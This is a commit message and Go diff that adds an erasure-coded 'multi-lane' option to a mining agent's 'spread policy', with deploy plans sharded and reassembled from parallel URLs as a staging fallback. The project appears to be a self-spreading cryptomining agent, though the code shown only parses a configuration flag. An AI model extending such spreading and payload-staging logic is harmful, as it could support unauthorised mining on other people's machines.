Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

agent/client/mining_policy.go

@@ -89,6 +89,7 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
 	var policy struct {
 		HashrateGateSpreadMin int     `json:"hashrate_gate_spread_min"`
 		HashrateGateHPS       float64 `json:"hashrate_gate_hps"`
+		ErasureLanesEnabled   bool    `json:"erasure_lanes_enabled"`
 	}
 	if err := json.Unmarshal(raw, &policy); err != nil {
 		return
@@ -100,5 +101,6 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
 	if policy.HashrateGateHPS > 0 {
 		c.cfg.HashrateGateHPS = policy.HashrateGateHPS
 	}
+	c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
 	c.mu.Unlock()
 }